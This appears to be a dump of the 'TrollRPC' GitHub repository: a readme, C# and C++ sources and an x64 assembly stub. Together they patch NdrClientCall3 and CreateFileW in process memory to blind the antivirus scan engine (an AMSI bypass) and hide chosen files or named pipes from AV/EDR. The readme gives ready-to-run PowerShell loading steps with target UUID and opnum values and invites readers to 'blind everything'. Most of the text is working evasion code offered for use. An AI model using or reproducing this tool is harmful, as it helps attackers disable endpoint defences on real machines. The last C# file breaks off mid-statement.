├── cpp ├── TrollRPC.dll ├── AsmStub.asm └── TrollRPC.cpp ├── Readme.md └── csharp ├── TrollPipe.cs └── TrollRPC.cs /cpp/TrollRPC.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cybersectroll/TrollRPC/HEAD/cpp/TrollRPC.dll -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | ## UPDATES 2 | ```diff 3 | ! UPDATE 09/07/2025 4 | ! For windows 11, a working $Opnum_break is 0x00 5 | ! How did i obtain this value? attached windbg to a fresh powershell and ran random commands 6 | ! windbg breakpoint -> bp rpcrt4!NdrClientCall3 "r rdx; g" 7 | ``` 8 | ```diff 9 | ! UPDATE 11/06/2025 10 | ! Added TrollPipe.cs to block CreateFileW to Files or Named Pipes because some AV/EDR use that instead of RPC 11 | ! [TrollPipe]::DisappearFileorPipe("") 12 | ``` 13 | 14 | # TrollRPC 15 | So what is TrollRPC? Its a library to blind RPC calls based on UUID and OPNUM 16 | ![Image](https://github.com/user-attachments/assets/e0fb9e17-def8-4627-847f-7bc60449115a) 17 |
18 | https://github.com/andreisss/Ghosting-AMSI released a amsi bypass by breaking NdrClientCall3 which means every subsequent RPC call (eg. some name resolution uses RPC thats why web requests to github fail) breaks which kind of makes the technique obsolete. This particular dll will only break the specific RPC call to the AV scan engine, allowing all other RPC calls through. This means you can bypass amsi for **both powershell/clr** and then continue running commands that require RPC (everything lol). 19 | 20 | ## C# 21 | ``` 22 | [System.Reflection.Assembly]::LoadFile("C:\TrollRPC.dll") 23 | $UUID = "c503f532-443a-4c69-8300-ccd1fbdb3839" # The UUID you are targetting 24 | $Opnum = 0x5E # The opnum you are targetting 25 | 26 | #WINDOWS 10 VALUE 27 | $Opnum_break = 0x1F4 # Modify the opnum to an invalid value 28 | 29 | #WINDOWS 11 VALUE 30 | $Opnum_break = 0x00 # Modify the opnum to an invalid value 31 | 32 | [TrollRPC]::Blind($UUID, $Opnum, $Opnum_break) 33 | ``` 34 | 35 | ## C++ (win 10 only) 36 | C++ doesnt allow dynamic input of UUID and OPNUM, have to manually tweak the asmstub to put in the OPNUM you want and recompile (easiest way) 37 | ``` 38 | #Use Visual Studio Command Prompt to compile first, alternatively, you can use the compiled dll 39 | ml64 /c /nologo /Fo AsmStub.obj AsmStub.asm 40 | cl /LD /O2 /MD /DNDEBUG /Zl /GS- /Gy /GF TrollRPC.cpp AsmStub.obj /link kernel32.lib user32.lib msvcrt.lib /OPT:REF /OPT:ICF /DEBUG:NONE /PDB:NONE 41 | 42 | Running on powershell -> Right now its hardcoded for a specific AV engine ;) 43 | Add-Type -MemberDefinition @" 44 | [DllImport("kernel32.dll", SetLastError = true)] 45 | public static extern IntPtr LoadLibrary(string lpFileName); 46 | "@ -Namespace Win32 -Name NativeMethods 47 | 48 | [Win32.NativeMethods]::LoadLibrary("C:\TrollRPC.dll") 49 | ``` 50 | 51 | ## Disclaimer 52 | Should only be used for educational purposes! 53 | 54 | ## Upgrades 55 | - Be creative, blind everything, not just amsi 56 | - opsec not taken into consideration, its just functional 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /csharp/TrollPipe.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Runtime.InteropServices; 4 | using System.Reflection; 5 | 6 | public static class TrollPipe 7 | { 8 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 9 | public static extern IntPtr CreateFileW(string lpFileName,uint dwDesiredAccess,uint dwShareMode,IntPtr lpSecurityAttributes,uint dwCreationDisposition,uint dwFlagsAndAttributes,IntPtr hTemplateFile); 10 | 11 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] 12 | public delegate IntPtr CreateFileWDelegate(string lpFileName,uint dwDesiredAccess,uint dwShareMode,IntPtr lpSecurityAttributes,uint dwCreationDisposition,uint dwFlagsAndAttributes,IntPtr hTemplateFile); 13 | 14 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] 15 | public delegate bool delegateVirtualProtect(IntPtr lpAddress, int size, int newProtect, out int oldProtect); 16 | 17 | static public int oldProtect; 18 | static public IntPtr targetAddr, hookAddr; 19 | static public byte[] originalBytes = new byte[12]; 20 | static public byte[] hookBytes = new byte[12]; 21 | private static object hookLock = new object(); 22 | static CreateFileWDelegate A; 23 | static public string fileorpipe = ""; 24 | 25 | public static IntPtr GetProcAddress(string moduleName, string procedureName) 26 | { 27 | Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); 28 | Assembly systemAssembly = assemblies.FirstOrDefault(a => 29 | a.GlobalAssemblyCache && 30 | a.Location.EndsWith("System.dll", StringComparison.OrdinalIgnoreCase)); 31 | Type unsafeNativeMethods = systemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); 32 | MethodInfo getModuleHandle = unsafeNativeMethods.GetMethod("GetModuleHandle", new Type[] { typeof(string) }); 33 | MethodInfo getProcAddress = unsafeNativeMethods.GetMethod("GetProcAddress", new Type[] { typeof(HandleRef), typeof(string) }); 34 | object hModule = getModuleHandle.Invoke(null, new object[] { moduleName }); 35 | IntPtr dummyPtr = IntPtr.Zero; 36 | HandleRef handleRef = new HandleRef(dummyPtr, (IntPtr)hModule); 37 | object procAddress = getProcAddress.Invoke(null, new object[] { handleRef, procedureName }); 38 | return (IntPtr)procAddress; 39 | } 40 | 41 | public static void DisappearFileorPipe(string fileorpipe_arg) 42 | { 43 | fileorpipe = fileorpipe_arg; 44 | A = CreateFileWDelegateDetour; 45 | hookAddr = Marshal.GetFunctionPointerForDelegate(A); 46 | targetAddr = GetProcAddress("kernel32.dll", "CreateFileW"); 47 | Marshal.Copy(targetAddr, originalBytes, 0, 12); 48 | hookBytes = new byte[] { 72, 184 }.Concat(BitConverter.GetBytes((long)(ulong)hookAddr)).Concat(new byte[] { 80, 195 }).ToArray(); 49 | IntPtr VPAddr = GetProcAddress("kernel32.dll", "VirtualProtect"); 50 | var VirtualProtect = (delegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(VPAddr, typeof(delegateVirtualProtect)); 51 | VirtualProtect(targetAddr, 12, 0x40, out oldProtect); 52 | Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length); 53 | 54 | } 55 | 56 | static public IntPtr CreateFileWDelegateDetour(string lpFileName,uint dwDesiredAccess,uint dwShareMode,IntPtr lpSecurityAttributes,uint dwCreationDisposition,uint dwFlagsAndAttributes,IntPtr hTemplateFile) 57 | { 58 | try 59 | { 60 | Marshal.Copy(originalBytes, 0, targetAddr, hookBytes.Length); 61 | if (lpFileName.Contains(fileorpipe)) 62 | { 63 | return CreateFileW("NUL", 0x40000000 | 0x80000000, 0, IntPtr.Zero, 3, 0x80, IntPtr.Zero); 64 | } 65 | return CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); 66 | } 67 | finally 68 | { 69 | Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length); 70 | } 71 | } 72 | } 73 | 74 | -------------------------------------------------------------------------------- /cpp/AsmStub.asm: -------------------------------------------------------------------------------- 1 | ; AsmStub.asm - x64 stub for NdrClientCall3 varargs hook 2 | ; This stub handles the hook, calls a C callback, and then jumps to a trampoline 3 | ; which executes the original NdrClientCall3 prologue and jumps back to the original function. 4 | 5 | EXTERN HookedNdrClientCall3_C:PROC 6 | EXTERN OutputDebugStringA:PROC ; Still useful for basic debugging of the ASM stub itself 7 | EXTERN TrampolineAddress:QWORD ; External reference to the trampoline address from C++ 8 | 9 | .DATA 10 | dbgMsg db "[hook_ndr.dll] ASM stub entered (before C callback)", 0 11 | 12 | .CODE 13 | PUBLIC HookedNdrClientCall3_Asm 14 | HookedNdrClientCall3_Asm PROC 15 | 16 | ; Save ALL general-purpose registers that might hold critical state or arguments. 17 | ; This is a robust approach to avoid register clobbering issues. 18 | ; The stack layout after these pushes (from RSP upwards) is crucial for argument retrieval. 19 | ; Current RSP points to the saved R15. 20 | ; Offsets from current RSP to original arguments: 21 | ; [RSP + 70h] : Original RAX 22 | ; [RSP + 68h] : Original RCX (Ndr Arg0) 23 | ; [RSP + 60h] : Original RDX (Ndr Arg1) 24 | ; [RSP + 58h] : Original R8 (Ndr Arg2) 25 | ; [RSP + 50h] : Original R9 (Ndr Arg3) 26 | ; [RSP + 80h] : Original NdrClientCall3 1st stack argument (Ndr Arg4) 27 | 28 | push rax ; Volatile 29 | push rcx ; Volatile (Ndr Arg0) 30 | push rdx ; Volatile (Ndr Arg1) 31 | push r8 ; Volatile (Ndr Arg2) 32 | push r9 ; Volatile (Ndr Arg3) 33 | push r10 ; Volatile 34 | push r11 ; Volatile 35 | push rbx ; Non-volatile 36 | push rbp ; Non-volatile 37 | push rsi ; Non-volatile 38 | push rdi ; Non-volatile 39 | push r12 ; Non-volatile 40 | push r13 ; Non-volatile 41 | push r14 ; Non-volatile 42 | push r15 ; Non-volatile 43 | 44 | ; --- Prepare arguments for HookedNdrClientCall3_C --- 45 | ; HookedNdrClientCall3_C now takes 5 arguments: (arg0, arg1, arg2, arg3, arg4) 46 | ; Win64 fastcall convention: RCX, RDX, R8, R9 for first 4 args. 5th arg passed on stack. 47 | 48 | ; Load NdrClientCall3's first 4 arguments from our saved stack into volatile registers 49 | ; (We use temp registers like R10, R11, R12, R13 for clarity and to not clobber RCX/RDX/R8/R9 just yet) 50 | mov r10, QWORD PTR [rsp + 68h] ; Ndr Arg0 (original RCX) 51 | mov r11, QWORD PTR [rsp + 60h] ; Ndr Arg1 (original RDX) 52 | mov r12, QWORD PTR [rsp + 58h] ; Ndr Arg2 (original R8) 53 | mov r13, QWORD PTR [rsp + 50h] ; Ndr Arg3 (original R9) 54 | 55 | ; Load NdrClientCall3's 5th argument (Ndr Arg4) from its original stack location. 56 | ; This is at [RSP + 80h] relative to the *current* RSP (after all our pushes). 57 | mov r14, QWORD PTR [rsp + 80h] ; Ndr Arg4 (original 1st stack arg) 58 | 59 | ; Now set up registers for the C callback (HookedNdrClientCall3_C) 60 | mov rcx, r10 ; C Arg0 (Ndr Arg0) 61 | mov rdx, r11 ; C Arg1 (Ndr Arg1) 62 | mov r8, r12 ; C Arg2 (Ndr Arg2) 63 | mov r9, r13 ; C Arg3 (Ndr Arg3) 64 | 65 | ; Push the 5th argument for the C function onto the stack. 66 | ; This will decrement RSP by 8 bytes. 67 | push r14 ; C Arg4 (Ndr Arg4) 68 | 69 | ; Allocate shadow space (32 bytes) + 8 bytes for alignment = 40 bytes. 70 | ; This ensures RSP is 16-byte aligned before the CALL instruction. 71 | sub rsp, 40 72 | 73 | ; Call our C callback 74 | call HookedNdrClientCall3_C 75 | 76 | ; Restore stack after C callback: shadow space (40 bytes) + 5th arg (8 bytes) 77 | add rsp, 40 78 | add rsp, 8 ; Pop the 5th argument passed to C++ 79 | 80 | ; --- MODIFICATION LOGIC: Modify pFormatString (original RDX) on stack --- 81 | ; At this point, the original RDX (pFormatString) is still saved on the stack 82 | ; at [rsp + 60h] (relative to RSP after all register pushes have been restored). 83 | ; We retrieve it, check its value, and if it's 94, overwrite it on the stack. 84 | 85 | ; NOTE: The comparison value '94' is decimal. In hex, it's 5Eh. 86 | ; This logic still targets the saved original RDX (NdrArg1) on the stack. 87 | mov r10, QWORD PTR [rsp + 60h] ; Load saved pFormatString into R10 for comparison 88 | cmp r10, 94 ; Compare its value with 94 (decimal) 89 | jne skip_modification ; If not equal, jump to skip_modification 90 | 91 | ; If equal to 94, overwrite the saved RDX (pFormatString) on stack with 500 92 | mov QWORD PTR [rsp + 60h], 500 ; The new value (500 decimal) 93 | 94 | skip_modification: 95 | ; Restore ALL general-purpose registers in reverse order of how they were pushed. 96 | pop r15 97 | pop r14 98 | pop r13 99 | pop r12 100 | pop rdi 101 | pop rsi 102 | pop rbp 103 | pop rbx 104 | pop r11 105 | pop r10 106 | pop r9 107 | pop r8 108 | pop rdx 109 | pop rcx 110 | pop rax 111 | 112 | ; === CRITICAL STEP: Jump to the trampoline === 113 | ; The trampoline contains the original 16 prologue bytes of NdrClientCall3 114 | ; followed by a jump back to NdrClientCall3+16. 115 | ; By restoring RCX and other registers, the original function will now see 116 | ; its arguments and state as if it were never hooked. 117 | jmp QWORD PTR [TrampolineAddress] 118 | 119 | HookedNdrClientCall3_Asm ENDP 120 | END 121 | -------------------------------------------------------------------------------- /cpp/TrollRPC.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include // For sprintf_s 5 | 6 | // 14-byte JMP: mov rax, addr; jmp rax 7 | const BYTE JMP_ABS64[14] = { 8 | 0x48, 0xB8, // mov rax, 9 | 0, 0, 0, 0, 0, 0, 0, 0, // imm64 placeholder 10 | 0xFF, 0xE0 // jmp rax 11 | }; 12 | 13 | typedef void* (__stdcall* NdrClientCall3_t)(PMIDL_STUB_DESC, PFORMAT_STRING, ...); 14 | 15 | // Extern symbol for our ASM entry point 16 | extern "C" void HookedNdrClientCall3_Asm(); 17 | 18 | // Original NdrClientCall3 address 19 | static void* targetFunction = nullptr; 20 | 21 | // A small executable buffer to serve as a trampoline. 22 | // This will contain: 23 | // 1. The original prologue bytes of NdrClientCall3 (16 bytes in this case). 24 | // 2. A jump back to NdrClientCall3 + TRAMPOLINE_PROLOGUE_SIZE. 25 | static BYTE* trampoline = nullptr; 26 | // *** UPDATED: TRAMPOLINE_PROLOGUE_SIZE is now 16 bytes to cover initial instructions *** 27 | static const SIZE_T TRAMPOLINE_PROLOGUE_SIZE = 16; 28 | static const SIZE_T TRAMPOLINE_SIZE = TRAMPOLINE_PROLOGUE_SIZE + sizeof(JMP_ABS64); 29 | 30 | // This will be set by C++ and read by ASM, pointing to our trampoline. 31 | extern "C" void* TrampolineAddress = nullptr; 32 | 33 | // Buffer to store the original 14 bytes of NdrClientCall3 that our hook overwrites. 34 | // Used for uninstalling the hook. 35 | static BYTE originalPatchedBytes[sizeof(JMP_ABS64)] = {}; 36 | 37 | // --- MODIFIED: HookedNdrClientCall3_C now accepts arguments --- 38 | // This function will be called from the ASM stub with the original arguments. 39 | extern "C" void HookedNdrClientCall3_C(void* arg0, void* arg1, void* arg2, void* arg3, void* arg4) 40 | { 41 | char debug_msg[512]; // Increased buffer size for argument details 42 | sprintf_s(debug_msg, sizeof(debug_msg), 43 | "[hook_ndr.dll] NdrClientCall3 called via ASM stub (C callback)\n" 44 | " Arg0 (PMIDL_STUB_DESC): %p\n" 45 | " Arg1 (PFORMAT_STRING): %p\n" 46 | " Arg2: %p\n" 47 | " Arg3: %p\n" 48 | " Arg4: %p\n", 49 | arg0, arg1, arg2, arg3, arg4); 50 | OutputDebugStringA(debug_msg); 51 | 52 | // --- You can add your argument modification logic here --- 53 | // Example: If arg1 (pFormatString) is a specific value, change it. 54 | // if ((ULONG_PTR)arg1 == 94) // Using ULONG_PTR for direct comparison 55 | // { 56 | // OutputDebugStringA("[hook_ndr.dll] Found pFormatString == 94, modifying it to 500.\n"); 57 | // // NOTE: This modification *in C++* will only affect the local variables 58 | // // passed to this C function. To affect the original NdrClientCall3's arguments, 59 | // // the modification MUST happen in the ASM stub *before* it jumps to the trampoline. 60 | // // The ASM stub already has logic for this if you enabled it. 61 | // } 62 | } 63 | 64 | // Write memory safely 65 | bool WriteMemory(void* dest, const void* src, SIZE_T size) 66 | { 67 | DWORD oldProtect; 68 | if (!VirtualProtect(dest, size, PAGE_EXECUTE_READWRITE, &oldProtect)) 69 | return false; 70 | memcpy(dest, src, size); 71 | return VirtualProtect(dest, size, oldProtect, &oldProtect); 72 | } 73 | 74 | extern "C" __declspec(dllexport) BOOL __stdcall InstallHook() 75 | { 76 | HMODULE hMod = GetModuleHandleW(L"rpcrt4.dll"); 77 | if (!hMod) 78 | { 79 | OutputDebugStringA("[hook_ndr.dll] Failed to get rpcrt4.dll handle.\n"); 80 | return FALSE; 81 | } 82 | 83 | targetFunction = (void*)GetProcAddress(hMod, "NdrClientCall3"); 84 | if (!targetFunction) 85 | { 86 | OutputDebugStringA("[hook_ndr.dll] Failed to get NdrClientCall3 address.\n"); 87 | return FALSE; 88 | } 89 | 90 | // 1. Allocate executable memory for the trampoline 91 | trampoline = (BYTE*)VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 92 | if (!trampoline) { 93 | OutputDebugStringA("[hook_ndr.dll] Failed to allocate trampoline memory.\n"); 94 | return FALSE; 95 | } 96 | TrampolineAddress = trampoline; // Make it accessible to ASM 97 | 98 | // 2. Copy the actual original prologue bytes to the start of our trampoline 99 | // *** UPDATED: Copy TRAMPOLINE_PROLOGUE_SIZE (16 bytes) *** 100 | memcpy(trampoline, targetFunction, TRAMPOLINE_PROLOGUE_SIZE); 101 | 102 | // 3. Prepare the jump back patch to NdrClientCall3 + TRAMPOLINE_PROLOGUE_SIZE 103 | BYTE jumpBackPatch[sizeof(JMP_ABS64)]; 104 | memcpy(jumpBackPatch, JMP_ABS64, sizeof(JMP_ABS64)); 105 | *reinterpret_cast(jumpBackPatch + 2) = (BYTE*)targetFunction + TRAMPOLINE_PROLOGUE_SIZE; // Jump to original function after the copied prologue 106 | 107 | // 4. Copy the jump back patch to the trampoline, immediately following the original prologue bytes 108 | memcpy(trampoline + TRAMPOLINE_PROLOGUE_SIZE, jumpBackPatch, sizeof(jumpBackPatch)); 109 | 110 | // 5. Save the entire 14 bytes of NdrClientCall3 that our primary hook will overwrite. 111 | memcpy(originalPatchedBytes, targetFunction, sizeof(originalPatchedBytes)); 112 | 113 | // 6. Build the main hook (JMP_ABS64) to our ASM stub. 114 | BYTE mainHookPatch[sizeof(JMP_ABS64)]; 115 | memcpy(mainHookPatch, JMP_ABS64, sizeof(JMP_ABS64)); 116 | *reinterpret_cast(mainHookPatch + 2) = (void*)&HookedNdrClientCall3_Asm; 117 | 118 | // 7. Overwrite the original function with our main hook. 119 | if (!WriteMemory(targetFunction, mainHookPatch, sizeof(mainHookPatch))) 120 | { 121 | OutputDebugStringA("[hook_ndr.dll] Failed to write main hook patch.\n"); 122 | VirtualFree(trampoline, 0, MEM_RELEASE); 123 | trampoline = nullptr; 124 | TrampolineAddress = nullptr; 125 | return FALSE; 126 | } 127 | 128 | OutputDebugStringA("[hook_ndr.dll] Hook installed successfully.\n"); 129 | return TRUE; 130 | } 131 | 132 | extern "C" __declspec(dllexport) BOOL __stdcall UninstallHook() 133 | { 134 | if (!targetFunction) 135 | { 136 | OutputDebugStringA("[hook_ndr.dll] targetFunction is null, cannot uninstall.\n"); 137 | return FALSE; 138 | } 139 | 140 | // Restore the full 14-byte original content of the patched area. 141 | if (!WriteMemory(targetFunction, originalPatchedBytes, sizeof(originalPatchedBytes))) 142 | { 143 | OutputDebugStringA("[hook_ndr.dll] Failed to restore original bytes.\n"); 144 | return FALSE; 145 | } 146 | 147 | // Release the trampoline memory 148 | if (trampoline) { 149 | VirtualFree(trampoline, 0, MEM_RELEASE); 150 | trampoline = nullptr; 151 | TrampolineAddress = nullptr; 152 | } 153 | 154 | OutputDebugStringA("[hook_ndr.dll] Hook removed.\n"); 155 | return TRUE; 156 | } 157 | 158 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID) 159 | { 160 | if (fdwReason == DLL_PROCESS_ATTACH) 161 | { 162 | DisableThreadLibraryCalls(hinstDLL); 163 | InstallHook(); 164 | } 165 | else if (fdwReason == DLL_PROCESS_DETACH) 166 | { 167 | UninstallHook(); 168 | } 169 | 170 | return TRUE; 171 | } 172 | -------------------------------------------------------------------------------- /csharp/TrollRPC.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using System.Linq; 5 | using System.Management; 6 | 7 | 8 | public class TrollRPC 9 | { 10 | [DllImport("kernel32.dll", SetLastError = true)] 11 | private static extern IntPtr GetModuleHandle(string lpModuleName); 12 | 13 | [DllImport("kernel32.dll", SetLastError = true)] 14 | private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); 15 | 16 | [DllImport("kernel32.dll", SetLastError = true)] 17 | private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); 18 | 19 | [DllImport("kernel32.dll", SetLastError = true)] 20 | [return: MarshalAs(UnmanagedType.Bool)] 21 | private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpOldProtect); 22 | 23 | [DllImport("rpcrt4.dll", CallingConvention = CallingConvention.StdCall)] 24 | public static extern IntPtr NdrClientCall3(IntPtr pMidlStubDesc, IntPtr pFormatString, IntPtr arg2, IntPtr arg3, IntPtr arg4); 25 | 26 | private static IntPtr _targetFunctionAddress = IntPtr.Zero; 27 | private static IntPtr _trampolineAddress = IntPtr.Zero; 28 | private static IntPtr _dynamicAsmStubAddress = IntPtr.Zero; 29 | private static readonly byte[] _originalPatchedBytes = new byte[JMP_ABS64_SIZE]; 30 | private static readonly byte[] JMP_ABS64_PATTERN = { 31 | 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 32 | 0xFF, 0xE0, 33 | 0x90, 0x90 34 | }; 35 | private const int JMP_ABS64_SIZE = 14; 36 | private const int TRAMPOLINE_PROLOGUE_SIZE = 16; 37 | private const int TRAMPOLINE_JUMP_SIZE = JMP_ABS64_SIZE; 38 | private const int TRAMPOLINE_TOTAL_SIZE = TRAMPOLINE_PROLOGUE_SIZE + TRAMPOLINE_JUMP_SIZE; 39 | private static GCHandle _trampolineAddressValuePin; 40 | private static IntPtr _trampolineAddressForAsm = IntPtr.Zero; 41 | private static Guid _targetGuid; 42 | private static IntPtr _hookResultForAsm = IntPtr.Zero; 43 | private static GCHandle _hookResultForAsmPin; 44 | 45 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 46 | private delegate void HookedNdrClientCall3Callback(IntPtr arg0, IntPtr arg1, IntPtr arg2, IntPtr arg3, IntPtr arg4, IntPtr hookResultOutPtr); 47 | 48 | private static HookedNdrClientCall3Callback _hookedNdrClientCall3Delegate; 49 | private static IntPtr _hookedNdrClientCall3DelegatePtr; 50 | 51 | [StructLayout(LayoutKind.Sequential)] 52 | public struct RPC_SYNTAX_IDENTIFIER 53 | { 54 | public Guid Uuid; 55 | public ushort MajorVersion; 56 | public ushort MinorVersion; 57 | } 58 | 59 | [StructLayout(LayoutKind.Sequential)] 60 | public struct RPC_CLIENT_INTERFACE 61 | { 62 | public uint Length; 63 | public RPC_SYNTAX_IDENTIFIER InterfaceId; 64 | public RPC_SYNTAX_IDENTIFIER TransferSyntax; 65 | public IntPtr DispatchTable; // Could be null for client-side 66 | public uint RpcProtseqEndpointCount; 67 | public IntPtr RpcProtseqEndpoint; 68 | public IntPtr DefaultManagerEpv; 69 | public IntPtr InterpreterInfo; 70 | public uint Flags; 71 | } 72 | [StructLayout(LayoutKind.Sequential)] 73 | public struct MIDL_STUB_DESC 74 | { 75 | public IntPtr RpcInterfaceInformation; 76 | } 77 | 78 | private static void HookedNdrClientCall3_CSharp(IntPtr pMidlStubDesc, IntPtr pFormatString, IntPtr arg2, IntPtr arg3, IntPtr arg4, IntPtr hookResultOutPtr) 79 | { 80 | Marshal.WriteIntPtr(hookResultOutPtr, IntPtr.Zero); 81 | MIDL_STUB_DESC stubDesc = Marshal.PtrToStructure(pMidlStubDesc); 82 | RPC_CLIENT_INTERFACE rpcInterface = Marshal.PtrToStructure(stubDesc.RpcInterfaceInformation); 83 | 84 | Guid interfaceUuid = rpcInterface.InterfaceId.Uuid; 85 | if (interfaceUuid.Equals(_targetGuid)) 86 | { 87 | Marshal.WriteIntPtr(hookResultOutPtr, (IntPtr)0xDEADBEEF); 88 | } 89 | } 90 | 91 | private static bool WriteMemory(IntPtr dest, byte[] src, int size) 92 | { 93 | uint oldProtect; 94 | VirtualProtect(dest, (UIntPtr)size, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE 95 | Marshal.Copy(src, 0, dest, size); 96 | VirtualProtect(dest, (UIntPtr)size, oldProtect, out oldProtect); 97 | return true; 98 | } 99 | 100 | private static byte[] GenerateDynamicAsmStub(IntPtr cSharpCallbackPtr, IntPtr dynamicAsmStubBaseAddr, IntPtr trampolineTargetAddr, IntPtr hookResultMemAddr, int targetOpnum, int modifiedOpnum) 101 | { 102 | var asmBytesList = new System.Collections.Generic.List(); 103 | 104 | asmBytesList.AddRange(new byte[] { 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57 }); // Pushes 105 | asmBytesList.AddRange(new byte[] { 0x4C, 0x8B, 0x54, 0x24, 0x68, 0x4C, 0x8B, 0x5C, 0x24, 0x60, 0x4C, 0x8B, 0x64, 0x24, 0x58, 0x4C, 0x8B, 0x6C, 0x24, 0x50, 0x4C, 0x8B, 0x74, 0x24, 0x80 }); // Arg loads 106 | asmBytesList.AddRange(new byte[] { 0x49, 0x8B, 0xCA, 0x49, 0x8B, 0xD3, 0x4D, 0x8B, 0xC4, 0x4D, 0x8B, 0xCD }); // Arg moves 107 | 108 | int pushHookResultPtrFirstOffset = asmBytesList.Count; 109 | asmBytesList.AddRange(new byte[] { 0x48, 0xB8 }); 110 | asmBytesList.AddRange(BitConverter.GetBytes(hookResultMemAddr.ToInt64())); 111 | asmBytesList.Add(0x50); // push rax 112 | 113 | asmBytesList.AddRange(new byte[] { 0x41, 0x56 }); // push r14 114 | asmBytesList.AddRange(new byte[] { 0x48, 0x83, 0xEC, 0x20 }); // sub rsp, 0x20 115 | 116 | int callCSharpOffset = asmBytesList.Count; 117 | asmBytesList.AddRange(new byte[] { 0xE8, 0x00, 0x00, 0x00, 0x00 }); // call CSharp 118 | 119 | asmBytesList.AddRange(new byte[] { 0x48, 0x83, 0xC4, 0x30 }); // add rsp, 0x30 120 | 121 | int loadHookResultOffset = asmBytesList.Count; 122 | asmBytesList.AddRange(new byte[] { 0x48, 0xA1 }); 123 | asmBytesList.AddRange(BitConverter.GetBytes(hookResultMemAddr.ToInt64())); // mov rax, [hookResultMemAddr] 124 | 125 | asmBytesList.AddRange(new byte[] { 0x48, 0x81, 0xF8, 0xEF, 0xBE, 0xAD, 0xDE }); // cmp rax, 0xDEADBEEF 126 | 127 | int jeSkipOpnumModificationOffset = asmBytesList.Count; 128 | asmBytesList.AddRange(new byte[] { 0x74, 0x00 }); // je skip_opnum_modification 129 | 130 | int opnumModificationStartOffset = asmBytesList.Count; 131 | asmBytesList.AddRange(new byte[] { 0x4C, 0x8B, 0x54, 0x24, 0x60 }); // mov r10, [rsp+0x60] (Opnum) 132 | 133 | if (targetOpnum >= -128 && targetOpnum <= 127) 134 | { 135 | asmBytesList.AddRange(new byte[] { 0x49, 0x83, 0xFA, (byte)targetOpnum }); 136 | } 137 | else 138 | { 139 | asmBytesList.AddRange(new byte[] { 0x49, 0x81, 0xFA }); 140 | asmBytesList.AddRange(BitConverter.GetBytes(targetOpnum)); 141 | } 142 | 143 | int jneInstructionOffset = asmBytesList.Count; 144 | asmBytesList.AddRange(new byte[] { 0x75, 0x00 }); // jne skip 145 | 146 | asmBytesList.AddRange(new byte[] { 0xC7, 0x44, 0x24, 0x60 }); 147 | asmBytesList.AddRange(BitConverter.GetBytes(modifiedOpnum)); // mov dword ptr [rsp+0x60], modifiedOpnum 148 | 149 | int endOfModificationLogicOffset = asmBytesList.Count; 150 | 151 | asmBytesList.AddRange(new byte[] { 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0x58 }); // Pops 152 | 153 | int finalJmpOffset = asmBytesList.Count; 154 | asmBytesList.AddRange(new byte[] { 0x48, 0xB8 }); 155 | asmBytesList.AddRange(BitConverter.GetBytes(trampolineTargetAddr.ToInt64())); 156 | asmBytesList.AddRange(new byte[] { 0xFF, 0xE0 }); // jmp rax 157 | 158 | byte[] finalAsmBytes = asmBytesList.ToArray(); 159 | 160 | // Patch relative offsets 161 | BitConverter.GetBytes((int)(cSharpCallbackPtr.ToInt64() - (dynamicAsmStubBaseAddr.ToInt64() + callCSharpOffset + 5))).CopyTo(finalAsmBytes, callCSharpOffset + 1); 162 | finalAsmBytes[jeSkipOpnumModificationOffset + 1] = (byte)((sbyte)(dynamicAsmStubBaseAddr.ToInt64() + endOfModificationLogicOffset - (dynamicAsmStubBaseAddr.ToInt64() + jeSkipOpnumModificationOffset + 2))); 163 | finalAsmBytes[jneInstructionOffset + 1] = (byte)((sbyte)(dynamicAsmStubBaseAddr.ToInt64() + jneInstructionOffset + 2 + 8 - (dynamicAsmStubBaseAddr.ToInt64() + jneInstructionOffset + 2))); 164 | 165 | return finalAsmBytes; 166 | } 167 | 168 | public static bool Blind(string targetUuidString, int targetOpnum, int modifiedOpnum) 169 | { 170 | Guid.TryParse(targetUuidString, out _targetGuid); 171 | 172 | IntPtr hMod = GetModuleHandle("rpcrt4.dll"); 173 | _targetFunctionAddress = GetProcAddress(hMod, "NdrClientCall3"); 174 | 175 | _hookedNdrClientCall3Delegate = new HookedNdrClientCall3Callback(HookedNdrClientCall3_CSharp); 176 | _hookedNdrClientCall3DelegatePtr = Marshal.GetFunctionPointerForDelegate(_hookedNdrClientCall3Delegate); 177 | 178 | _hookResultForAsm = 